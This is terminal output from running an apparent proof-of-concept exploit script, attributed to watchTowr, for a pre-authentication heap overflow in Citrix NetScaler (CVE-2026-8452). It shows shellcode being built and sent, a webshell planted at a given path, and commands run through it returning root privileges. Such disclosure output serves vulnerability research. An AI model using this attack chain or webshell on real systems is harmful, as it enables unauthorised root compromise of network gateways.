python3 watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py --target https://172.16.5.12:9443/
                     __         ___  ___________
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|
                          \/          \/     \/

        watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py

        (*) Citrix NetScaler PreAuth Heap overflow to RCE Detection Artifact Generator

          - Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2026-8452]

[*] Connecting to endpoint...
[*] target AAA service is responsive
[*] building shellcode
[+] shellcode size: 268 bytes
[*] triggering jmp rax to 0x112d30180
[*] sent..
[+] webshell will be at https://172.16.5.12:9443/vpn/theme/x.php?0=uname+-a;id
[+] web shell output:


FreeBSD something 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 ef731ca813f0(heads/artesa_30_52)-dirty: Wed Aug 24 08:24:55 PDT 2022     root@sjc-bld-bsd114-215:/usr/obj/usr/home/build/adc/usr.src/sys/NS64  amd64
uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(wheel) groups=0(wheel)
uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(wheel) groups=0(wheel)